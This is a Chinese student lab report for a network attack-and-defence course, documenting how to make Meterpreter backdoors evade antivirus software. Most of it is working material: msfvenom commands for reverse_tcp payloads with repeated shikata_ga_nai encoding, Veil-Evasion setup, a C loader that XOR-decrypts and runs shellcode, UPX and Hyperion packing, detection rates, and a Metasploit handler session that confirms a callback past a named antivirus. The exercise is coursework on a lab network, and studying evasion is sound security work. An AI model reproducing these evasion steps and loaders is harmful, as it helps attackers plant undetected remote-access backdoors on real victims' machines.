20222420 2024-2025-1 《網路與系統攻防技術》實驗三實驗報告

SAltria發表於2024-10-30

20222420 2024-2025-1 《網路與系統攻防技術》實驗三實驗報告

1.實驗內容

1.1 本週學習內容

1.1.1 後門技術

接著上一節課的內容繼續學習了

  • 程序隱藏技術,它還包含
    • 基於 DLL 的程序隱藏技術:遠端注入Dll技術
    • 基於遠端執行緒注入程式碼的程序隱藏技術
    • Rootkit方式 分使用者級和核心級
  • 資料穿透與躲避技術:加密、隧道、反彈埠
1.1.2 簡單後門實踐基礎
  • netcat
  • Meterpreter
    Metasploit框架中的一個擴充套件模組,本質為Payload集
  • Veil Evasion
    為免殺工具
1.1.3 免殺
  • 防毒軟體原理
    • 特徵碼、啟發式、基於行為
    • 校驗和
    • 機器學習
  • 免殺技術
    • 修改特徵碼 最初的方法
    • 修改校驗和
    • 花指令免殺 阻止反彙編程式。若防毒軟體不能識別,則其不能正確定位特徵碼
    • 加殼免殺 系統先執行“殼”,由殼將加密或壓縮的程式逐步還原到記憶體中,最後執行
      加殼免殺還含虛擬機器保護技術,將原本的彙編指令轉換為另一種表現形式,以使不被輕易逆向、修改
    • 記憶體免殺
      加殼免殺用於掃描檔案時。防毒軟體在檔案掃描和記憶體掃描的特徵碼不同,在記憶體中繼續使用之前的免殺技術

1.2 實驗任務

  • 正確使用msf編碼器,veil-evasion,利用shellcode程式設計等免殺工具或技巧
    • 使用msf編碼器,透過msfvenom生成如jar之類的其他檔案
    • veil-evasion,加殼工具
    • 使用C + shellcode程式設計
  • 透過組合應用各種技術實現惡意程式碼免殺
    如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。
  • 用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

2.問題回答

  • 殺軟是如何檢測出惡意程式碼的?
    特徵碼、校驗和、機器學習等
  • 免殺是做什麼?
    避免後門等被防毒軟體查殺
  • 免殺的基本方法有哪些?
    修改特徵碼、修改校驗和,加殼等

3.實驗過程

3.1 正確使用msf編碼器,veil-evasion,利用shellcode程式設計等免殺工具或技巧

3.1.1 使用msf編碼器,透過msfvenom生成如jar之類的其他檔案
  • 使用VirusTotal、Virscan來檢測不編碼生成的.exe後門程式
    生成該程式的命令為msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe
    VirusTotal檢出率為62/73,Virscan檢出率為25/48

  • 使用編碼器x86/shikata_ga_nai進行一次編碼後生成.exe後門程式
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor1.exe
    VirusTotal檢出率為61/73,Virscan檢出率為26/48。相比不編碼,VirusTotal檢出率微量下降,Virscan檢出率微量上升

  • 使用編碼器x86/shikata_ga_nai進行多次次編碼後生成.exe後門程式(迭代60次以上將無法構造有效的編碼排列)
    • 10次
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor10.exe
      VirusTotal檢出率為62/73,Virscan檢出率為26/48,相比1次編碼,VirusTotal檢出率微量上升

    • 60次
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor60.exe
      VirusTotal檢出率為61/73,Virscan檢出率為25/48,相比10次,檢出率微量下降

  • 使用編碼器生成其他格式的後門程式(.py、.jar、.raw)
    • 生成.py格式的檔案
      msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 -f py> 20222420_encoder.py

      VirusTotal檢出率為,Virscan檢出率為

    • 生成.jar格式的檔案,無法使用編碼
      msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.150.191 LPORT=2420 -f jar> 20222420_encoder.jar
      VirusTotal檢出率為34/66,Virscan檢出率為13/48
      image
      image

    • 生成.raw格式的檔案
      msfvenom -p android/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 -f raw> 20222420_encoder.raw

      VirusTotal檢出率為,Virscan檢出率為

綜上,得到如下列表
可知,
(1)編碼對檢出.exe檔案基本沒影響,且.exe格式的檢出率在所有測試格式中最高
(2)檢出率次高的是.jar格式
(3).php、.apk、.elf編碼次數均為10,檢出率基本在同一個檔次(在所有測試格式檢出率最低)

 | 格式 | 編碼次數 | VirusTotal檢出率 | Virscan檢出率 |  
 | :---: | :---: | :----: | :----: |  
 | .exe | 0 | 62/73 | 25/48 |  
 | .exe | 1 | 61/73 | 26/48 |  
 | .exe | 10 | 62/73 | 26/48 | 
 | .exe | 60 | 61/73 | 25/48 | 
 | .php | 10 | 9/63 | 2/48 |  
 | .jar | 0 | 34/66 | 13/48 |  
 | .apk | 10 | 10/63 | 3/48 |  
 | .elf | 10 | 11/62 | 4/48 | 
3.1.2 veil-evasion,加殼工具
  • (1)配置veil是一件比較困難的事情,我參考了github上關於veil的readme和issues,並根據報錯資訊檢視了配置檔案/usr/share/veil/config/setup.sh才弄懂了問題的所在,然後才經過一些改動成功地配置了veil。配置veil的過程如下,具體為什麼進行改動將在“問題及解決方案”部分詳細解釋
    • 按照readme中的說法,要麼用apt下載,要麼用git下載。因用git下載仍有報錯且apt下載命令僅兩行,所以我選擇用apt下載
      同時,readme中要求要麼用sudo,要麼用root使用者,所以我決定兩個都用,先用sudo su切換到root使用者,然後輸入第一行命令
      sudo apt -y install veil
    • 這時需要進行第一個改動:用vim開啟/usr/share/veil/config/setup.sh,將587行處的內容改為sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
    • 然後進行第二個改動,在桌面(或其他自己熟悉的目錄)開啟一個終端,執行sudo git clone https://github.com/Veil-Framework/VeilDependencies.git,即從git上克隆一個veil的依賴庫

      再用vim開啟/usr/share/veil/config/setup.sh,輸入/Veil-Fr,找到sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}"的位置,將其改為cp -r /home/s20222420/Desktop/VeilDependencies "${dependenciesdir}",退出並儲存
    • 這時所有需要的改動完成,可以使用第二行命令,等待其完成便配置好veil了。經過檢視,過程中沒有任何error或warning
      /usr/share/veil/config/setup.sh --force --silent
  • (2)開始使用veil
    • 開啟veil
    • 選擇工具,選用Evasion
    • 輸入list,檢視可用的payloads
    • 選擇第7個payload,即c/meterpreter/rev_tcp.py
      use 7

      透過其上的描述或下面github裡的描述,可知是用於攻擊windows的反彈連線
    • 接下來,設定LHOST和LPORT,然後generate
  • (3)檢測veil的效果
    VirusTotal檢出率為43/73,Virscan檢出率為17/48。相比實驗第一次檢測中的62/73,25/48,可知有一定的免殺效果。

3.1.3 使用C + shellcode程式設計
  • 用msfvenom工具來生成一個C語言的原始碼格式的有效載荷
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.192 LPORT=2420 -f c
  • 用生成的shellcode編寫.c檔案。強制轉化shellcode為函式指標型別,並讓一個變數接收,執行這個變數便執行了該shellcode
  • 利用指令i686-w64-mingw32-g++進行編譯,得到exe檔案。這個編譯器專門用於生成 32 位 Windows 應用程式
    i686-w64-mingw32-g++ 20222420_c_shellcode.c -o 20222420_c_shellcode.exe
  • 測試
    VirusTotal檢出率為35/60,Virscan檢出率為15/48。相比veil,檢出率又均有一定下降

3.1.4 使用加殼工具
  • (1)使用壓縮殼UPX
    • 使用指令upx 20222420_c_shellcode.exe -o 20222420_c_upx_shellcode.exe,給上一個步驟生成的20222420_c_shellcode.exe加一個壓縮殼。
    • 測試
      VirusTotal檢出率為46/72,Virscan檢出率為11/48。相比原本的檔案,VirusTotal檢出率上升,Virscan檢出率下降。說明VirusTotal比Virscan對UPX記錄得更多。

  • (2)使用加密殼Hyperion
    • 使用指令如下
      wine /usr/share/windows-resources/hyperion/hyperion.exe -v /home/s20222420/Desktop/20222420_c_shellcode.exe /home/s20222420/Desktop/20222420_c_hyp_shellcode.exe注意需要在root下執行


    • 測試
      VirusTotal檢出率為54/73,Virscan檢出率為21/48。相比原本的檔案,檢出率均上升,且均高於使用UPX。說明加密殼Hyperion被記錄得更加廣泛。

3.2 透過組合應用各種技術實現惡意程式碼免殺(描述原理,僅要與殺軟共生截圖)

  • 發現:同一份C語言程式,在linux下編譯和在windows下編譯,在VirusTotal中的差距極大
    • Linux下用i686-w64-mingw32-g++交叉編譯,檢出率為23/70
    • windows下codeblocks中編譯,檢出率為4/72。
  • 大量試驗中我的思考過程
    • Thread1:Linux下加殼後檢出率反而提升,於是我決定不加殼
    • Thread2:veil生成的後門效果雖然比msf編碼的效果好但檢出率仍不低,且還不能改動,於是我將使用"編碼+c+shellcode"
    • Thread3:使用"編碼+c+shellcode",檢出率仍較高,為進一步降低檢出率,於是考慮將shellcode加密
    • Thread4:單純使用異或0x01變動shellcode且main函式不將其解密,以及異或一個金鑰變動shellcode且main函式中將其解密,這種兩種方式的檢出率均較低,如後者在linux編譯後檢出率為28/72,在windows編譯後檢出率為11/72
  • 具體實現過程
    • 使用msf編碼器生成編碼十次後的shellcode並輸出到新建檔案20222420_shellcode.txt
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.192 LPORT=2420 -f c > 20222420_shellcode.txt
    • 編寫、編譯、執行加密程式20222420_enc,將20222420_shellcode.txt中的shellcode用0x05加密各個位元組
    • 將加密後的shellcode放在新建檔案20222420_shellcode2.c中
    • 在20222420_shellcode2.c中加入main函式,用於將加密後的shellcode解密並執行
點選檢視程式碼
int main(){
	int i;
	for(i=0;i<sizeof(buf);i++)
	{
		buf[i] ^= 0x05;
	}
	int (*func)() = (int(*)())buf;
	func();
}
  • 上述20222420_shellcode2.c只是一個臨時檔案,現在將檔案中編寫好的程式碼複製在windows環境下編譯,資料夾名為20222420_shellcode2

    • 殺軟掃描
      使用火絨安全軟體,版本為6.0.3.0
      20222420_shellcode2.exe並未被查出,僅查出20222420_shellcode10.exe
  • 額外的想法
    參考音訊的cda格式,只存地址,將shellcode打散儲存,用一個陣列儲存指向各個shellcode分片的地址,然後在需要執行shellcode時一片片找,可找一片執行一片,也可找完後按陣列順序一片片執行。
    也許可以將main函式改為如下,但shellcode也許不能一個位元組一個位元組地執行,可以改分為能執行的塊。

main函式
int main()
{   //由於若要將buf隨機儲存,編寫程式碼時間較長,我這裡僅將其分為兩個部分
    unsigned char buf1[sizeof(buf)] ; //儲存buf的偶數部分
    unsigned char buf2[sizeof(buf)] ; //儲存buf的奇數部分
    int i=0;
    for(i=0;i<sizeof(buf);i++)
    {
        if(i%2==0) buf1[i/2]=(unsigned char)(buf[i]^0x05); //儲存buf的偶數部分並解密,這樣無論內容是否被加密,單獨看buf1就是無毒的
        else buf2[(i-1)/2]=(unsigned char)(buf[i]^0x05);   //儲存buf的奇數部分並解密,這樣無論內容是否被加密,單獨看buf2就是無毒的
    }
    int (*func[sizeof(buf)])();     //func為指向函式指標的指標,即函式指標陣列
    for(i=0;i<sizeof(buf);i++)      //找到每一個buf分片
    {
        if(i%2==0)
        {
            func[i] = (int(*)())&buf1[i/2];       //若要改進,其實也可以在這裡解密並執行,且可以執行一片清空一片
        }
        else func[i] = (int(*)())&buf2[(i-1)/2];
    }
    for(i=0;i<sizeof(buf);i++)      //相當於將每一個位元組當作一個函式指標指向的空間,要執行這個位元組就只能順序執行每一個指標,而func就是一個順序儲存各個指標的陣列的指標。這樣避免了僅一個函式指標就暴露整個shellcode
        func[i]();

}

3.3 用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

在kali中輸入
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.150.192
set LPORT 2420
exploit
使用火絨安全軟體,版本為6.0.3.0
在殺軟開啟的情況下,在windows主機上執行生成的程式,可以看到成功回連成功。

4.問題及解決方案

  • 問題1:安裝配置veil時報錯
  • 問題1解決方案:1.根據報錯資訊知道是Python pip pefile報錯,在github上查詢相關問題,發現pefile不支援相關python,在setup.sh中改變pefile的版本為2019.4.18便可解決這個問題。2.解決了Python pip pefile的問題,我又遇到了報錯,透過報錯資訊知道是克隆時無法連線到github,這是網路的問題,但我單獨在終端中執行setup.sh中相關的克隆命令時並沒有出錯。於是我將其克隆在桌面,然後將setup.sh中的克隆命令改為cp命令,將克隆到桌面的資料夾複製到原需克隆至的目錄。然後我便成功安裝配置了veil。
  • 問題2:使用加密殼時出錯
  • 問題2解決方案:可能是許可權不夠,轉換在root使用者下執行便成功了。
  • 問題3:msfvenom生成exe檔案後無法在windows下執行並連線
  • 問題3解決方案:經過試驗排除了payload不是x64的問題,發現需要-f exe引數才能使其可執行並連線。不用-f exe而用x或什麼都不加,是都不能執行並連線的。

5.學習感悟、思考等

在本次實驗中,透過使用msf編碼器、veil-evasion、加殼工具以及C + shellcode程式設計等多種技術和工具,我學習瞭如何在保持惡意程式碼功能性的同時,儘可能地避免被防毒軟體檢測和攔截。
在實驗過程中,我遇到了不少問題,比如veil的安裝配置錯誤、加密殼的使用許可權問題以及msfvenom生成檔案無法執行的問題。這些問題一度讓我感到困惑和沮喪,但透過不斷查閱文件、搜尋解決方案和反覆試驗,我最終成功地克服了這些障礙。這些經歷不僅提升了我的問題解決能力,也讓我更加深刻地體會到了實踐的重要性。
經過本次實驗,我深刻體會到,在網路安全領域,惡意程式碼的隱藏和檢測是一個相互博弈的過程。一方面,攻擊者會不斷嘗試使用新的技術手段來躲過安全檢測,另一方面,安全廠商也會不斷更新和升級他們的檢測演算法來應對這些威脅。

參考資料

  • github-Veil-readme
  • The error of python pip pefile
  • linux系統修改ip地址教程

相關文章